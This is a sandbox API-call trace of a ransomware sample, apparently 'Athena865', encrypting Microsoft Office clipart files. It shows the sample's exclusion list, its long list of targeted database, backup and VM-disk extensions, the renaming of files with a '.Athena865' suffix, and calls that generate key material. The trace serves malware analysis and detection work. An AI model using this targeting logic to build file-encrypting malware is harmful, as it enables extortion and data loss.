CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.004] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.005] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.005] CloseHandle (hObject=0x154) returned 1 [0121.005] CloseHandle (hObject=0x17c) returned 1 [0121.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.006] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".") returned 1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="..") returned 1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="windows") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="bootmgr") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="temp") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="pagefile.sys") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="boot") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="ids.txt") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="ntuser.dat") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="perflogs") returned -1 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="MSBuild") returned -1 [0121.006] lstrlenW (lpString="AG00129_.GIF") returned 12 [0121.006] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00129_.GIF" | out: lpString1="AG00129_.GIF") returned="AG00129_.GIF" [0121.006] lstrlenW (lpString="AG00129_.GIF") returned 12 [0121.006] lstrlenW (lpString="Athena865") returned 9 [0121.006] lstrcmpiW (lpString1="0129_.GIF", lpString2="Athena865") returned -1 [0121.006] lstrlenW (lpString=".dll") returned 4 [0121.006] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".dll") returned 1 [0121.006] lstrlenW (lpString=".lnk") returned 4 [0121.007] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".lnk") returned 1 [0121.007] lstrlenW (lpString=".ini") returned 4 [0121.007] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".ini") returned 1 [0121.007] lstrlenW (lpString=".sys") returned 4 [0121.007] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".sys") returned 1 [0121.007] lstrlenW (lpString="AG00129_.GIF") returned 12 [0121.007] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.Athena865") returned 73 [0121.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.athena865"), dwFlags=0x1) returned 1 [0121.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.008] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12482) returned 1 [0121.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.008] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.009] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.009] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.009] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33d0, lpName=0x0) returned 0x154 [0121.012] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33d0) returned 0x100000 [0121.014] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.015] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.015] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.016] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.016] CloseHandle (hObject=0x154) returned 1 [0121.016] CloseHandle (hObject=0x17c) returned 1 [0121.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.016] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0121.016] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.016] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.016] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".") returned 1 [0121.016] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="..") returned 1 [0121.016] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="windows") returned -1 [0121.016] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="bootmgr") returned -1 [0121.016] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="temp") returned -1 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="pagefile.sys") returned -1 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="boot") returned -1 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="ids.txt") returned -1 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="ntuser.dat") returned -1 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="perflogs") returned -1 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="MSBuild") returned -1 [0121.017] lstrlenW (lpString="AG00130_.GIF") returned 12 [0121.017] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00130_.GIF" | out: lpString1="AG00130_.GIF") returned="AG00130_.GIF" [0121.017] lstrlenW (lpString="AG00130_.GIF") returned 12 [0121.017] lstrlenW (lpString="Athena865") returned 9 [0121.017] lstrcmpiW (lpString1="0130_.GIF", lpString2="Athena865") returned -1 [0121.017] lstrlenW (lpString=".dll") returned 4 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".dll") returned 1 [0121.017] lstrlenW (lpString=".lnk") returned 4 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".lnk") returned 1 [0121.017] lstrlenW (lpString=".ini") returned 4 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".ini") returned 1 [0121.017] lstrlenW (lpString=".sys") returned 4 [0121.017] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".sys") returned 1 [0121.017] lstrlenW (lpString="AG00130_.GIF") returned 12 [0121.017] lstrlenW (lpString="bak") returned 3 [0121.017] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.017] lstrlenW (lpString="ba_") returned 3 [0121.017] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.017] lstrlenW (lpString="dbb") returned 3 [0121.017] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.017] lstrlenW (lpString="vmdk") returned 4 [0121.017] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.018] lstrlenW (lpString="rar") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.018] lstrlenW (lpString="zip") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.018] lstrlenW (lpString="tgz") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.018] lstrlenW (lpString="vbox") returned 4 [0121.018] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.018] lstrlenW (lpString="vdi") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.018] lstrlenW (lpString="vhd") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.018] lstrlenW (lpString="vhdx") returned 4 [0121.018] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.018] lstrlenW (lpString="avhd") returned 4 [0121.018] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.018] lstrlenW (lpString="db") returned 2 [0121.018] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.018] lstrlenW (lpString="db2") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.018] lstrlenW (lpString="db3") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.018] lstrlenW (lpString="dbf") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.018] lstrlenW (lpString="mdf") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.018] lstrlenW (lpString="mdb") returned 3 [0121.018] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.018] lstrlenW (lpString="sql") returned 3 [0121.019] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.019] lstrlenW (lpString="sqlite") returned 6 [0121.019] lstrcmpiW (lpString1="0_.GIF", lpString2="sqlite") returned -1 [0121.019] lstrlenW (lpString="sqlite3") returned 7 [0121.019] lstrcmpiW (lpString1="30_.GIF", lpString2="sqlite3") returned -1 [0121.019] lstrlenW (lpString="sqlitedb") returned 8 [0121.019] lstrcmpiW (lpString1="130_.GIF", lpString2="sqlitedb") returned -1 [0121.019] lstrlenW (lpString="xml") returned 3 [0121.019] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.019] lstrlenW (lpString="$er") returned 3 [0121.019] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.019] lstrlenW (lpString="4dd") returned 3 [0121.019] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.019] lstrlenW (lpString="4dl") returned 3 [0121.019] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.019] lstrlenW (lpString="^^^") returned 3 [0121.019] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.019] lstrlenW (lpString="abs") returned 3 [0121.019] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.019] lstrlenW (lpString="abx") returned 3 [0121.019] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.019] lstrlenW (lpString="accdb") returned 5 [0121.019] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.019] lstrlenW (lpString="accdc") returned 5 [0121.019] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.019] lstrlenW (lpString="accde") returned 5 [0121.019] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.019] lstrlenW (lpString="accdr") returned 5 [0121.019] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.020] lstrlenW (lpString="accdt") returned 5 [0121.020] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.020] lstrlenW (lpString="accdw") returned 5 [0121.020] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.020] lstrlenW (lpString="accft") returned 5 [0121.020] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.020] lstrlenW (lpString="adb") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.020] lstrlenW (lpString="adb") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.020] lstrlenW (lpString="ade") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.020] lstrlenW (lpString="adf") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.020] lstrlenW (lpString="adn") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.020] lstrlenW (lpString="adp") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.020] lstrlenW (lpString="alf") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.020] lstrlenW (lpString="ask") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.020] lstrlenW (lpString="btr") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.020] lstrlenW (lpString="cat") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.020] lstrlenW (lpString="cdb") returned 3 [0121.020] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.020] lstrlenW (lpString="ckp") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.021] lstrlenW (lpString="cma") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.021] lstrlenW (lpString="cpd") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.021] lstrlenW (lpString="dacpac") returned 6 [0121.021] lstrcmpiW (lpString1="0_.GIF", lpString2="dacpac") returned -1 [0121.021] lstrlenW (lpString="dad") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.021] lstrlenW (lpString="dadiagrams") returned 10 [0121.021] lstrcmpiW (lpString1="00130_.GIF", lpString2="dadiagrams") returned -1 [0121.021] lstrlenW (lpString="daschema") returned 8 [0121.021] lstrcmpiW (lpString1="130_.GIF", lpString2="daschema") returned -1 [0121.021] lstrlenW (lpString="db-journal") returned 10 [0121.021] lstrcmpiW (lpString1="00130_.GIF", lpString2="db-journal") returned -1 [0121.021] lstrlenW (lpString="db-shm") returned 6 [0121.021] lstrcmpiW (lpString1="0_.GIF", lpString2="db-shm") returned -1 [0121.021] lstrlenW (lpString="db-wal") returned 6 [0121.021] lstrcmpiW (lpString1="0_.GIF", lpString2="db-wal") returned -1 [0121.021] lstrlenW (lpString="dbc") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.021] lstrlenW (lpString="dbs") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.021] lstrlenW (lpString="dbt") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.021] lstrlenW (lpString="dbv") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.021] lstrlenW (lpString="dbx") returned 3 [0121.021] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.022] lstrlenW (lpString="dcb") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.022] lstrlenW (lpString="dct") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.022] lstrlenW (lpString="dcx") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0121.022] lstrlenW (lpString="ddl") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0121.022] lstrlenW (lpString="dlis") returned 4 [0121.022] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0121.022] lstrlenW (lpString="dp1") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0121.022] lstrlenW (lpString="dqy") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0121.022] lstrlenW (lpString="dsk") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0121.022] lstrlenW (lpString="dsn") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0121.022] lstrlenW (lpString="dtsx") returned 4 [0121.022] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0121.022] lstrlenW (lpString="dxl") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0121.022] lstrlenW (lpString="eco") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0121.022] lstrlenW (lpString="ecx") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0121.022] lstrlenW (lpString="edb") returned 3 [0121.022] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0121.022] lstrlenW (lpString="epim") returned 4 [0121.023] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0121.023] lstrlenW (lpString="fcd") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0121.023] lstrlenW (lpString="fdb") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0121.023] lstrlenW (lpString="fic") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0121.023] lstrlenW (lpString="flexolibrary") returned 12 [0121.023] lstrlenW (lpString="fm5") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0121.023] lstrlenW (lpString="fmp") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0121.023] lstrlenW (lpString="fmp12") returned 5 [0121.023] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0121.023] lstrlenW (lpString="fmpsl") returned 5 [0121.023] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0121.023] lstrlenW (lpString="fol") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0121.023] lstrlenW (lpString="fp3") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0121.023] lstrlenW (lpString="fp4") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0121.023] lstrlenW (lpString="fp5") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0121.023] lstrlenW (lpString="fp7") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0121.023] lstrlenW (lpString="fpt") returned 3 [0121.023] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0121.024] lstrlenW (lpString="frm") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0121.024] lstrlenW (lpString="gdb") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.024] lstrlenW (lpString="gdb") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.024] lstrlenW (lpString="grdb") returned 4 [0121.024] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0121.024] lstrlenW (lpString="gwi") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0121.024] lstrlenW (lpString="hdb") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0121.024] lstrlenW (lpString="his") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0121.024] lstrlenW (lpString="ib") returned 2 [0121.024] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0121.024] lstrlenW (lpString="idb") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0121.024] lstrlenW (lpString="ihx") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0121.024] lstrlenW (lpString="itdb") returned 4 [0121.024] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0121.024] lstrlenW (lpString="itw") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0121.024] lstrlenW (lpString="jet") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0121.024] lstrlenW (lpString="jtx") returned 3 [0121.024] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0121.025] lstrlenW (lpString="kdb") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0121.025] lstrlenW (lpString="kexi") returned 4 [0121.025] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0121.025] lstrlenW (lpString="kexic") returned 5 [0121.025] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0121.025] lstrlenW (lpString="kexis") returned 5 [0121.025] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0121.025] lstrlenW (lpString="lgc") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0121.025] lstrlenW (lpString="lwx") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0121.025] lstrlenW (lpString="maf") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0121.025] lstrlenW (lpString="maq") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0121.025] lstrlenW (lpString="mar") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0121.025] lstrlenW (lpString="marshal") returned 7 [0121.025] lstrcmpiW (lpString1="30_.GIF", lpString2="marshal") returned -1 [0121.025] lstrlenW (lpString="mas") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0121.025] lstrlenW (lpString="mav") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0121.025] lstrlenW (lpString="maw") returned 3 [0121.025] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0121.025] lstrlenW (lpString="mdbhtml") returned 7 [0121.025] lstrcmpiW (lpString1="30_.GIF", lpString2="mdbhtml") returned -1 [0121.025] lstrlenW (lpString="mdn") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0121.026] lstrlenW (lpString="mdt") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0121.026] lstrlenW (lpString="mfd") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0121.026] lstrlenW (lpString="mpd") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0121.026] lstrlenW (lpString="mrg") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0121.026] lstrlenW (lpString="mud") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0121.026] lstrlenW (lpString="mwb") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0121.026] lstrlenW (lpString="myd") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0121.026] lstrlenW (lpString="ndf") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0121.026] lstrlenW (lpString="nnt") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0121.026] lstrlenW (lpString="nrmlib") returned 6 [0121.026] lstrcmpiW (lpString1="0_.GIF", lpString2="nrmlib") returned -1 [0121.026] lstrlenW (lpString="ns2") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0121.026] lstrlenW (lpString="ns3") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0121.026] lstrlenW (lpString="ns4") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0121.026] lstrlenW (lpString="nsf") returned 3 [0121.026] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0121.027] lstrlenW (lpString="nv") returned 2 [0121.027] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0121.027] lstrlenW (lpString="nv2") returned 3 [0121.027] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0121.027] lstrlenW (lpString="nwdb") returned 4 [0121.027] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0121.027] lstrlenW (lpString="nyf") returned 3 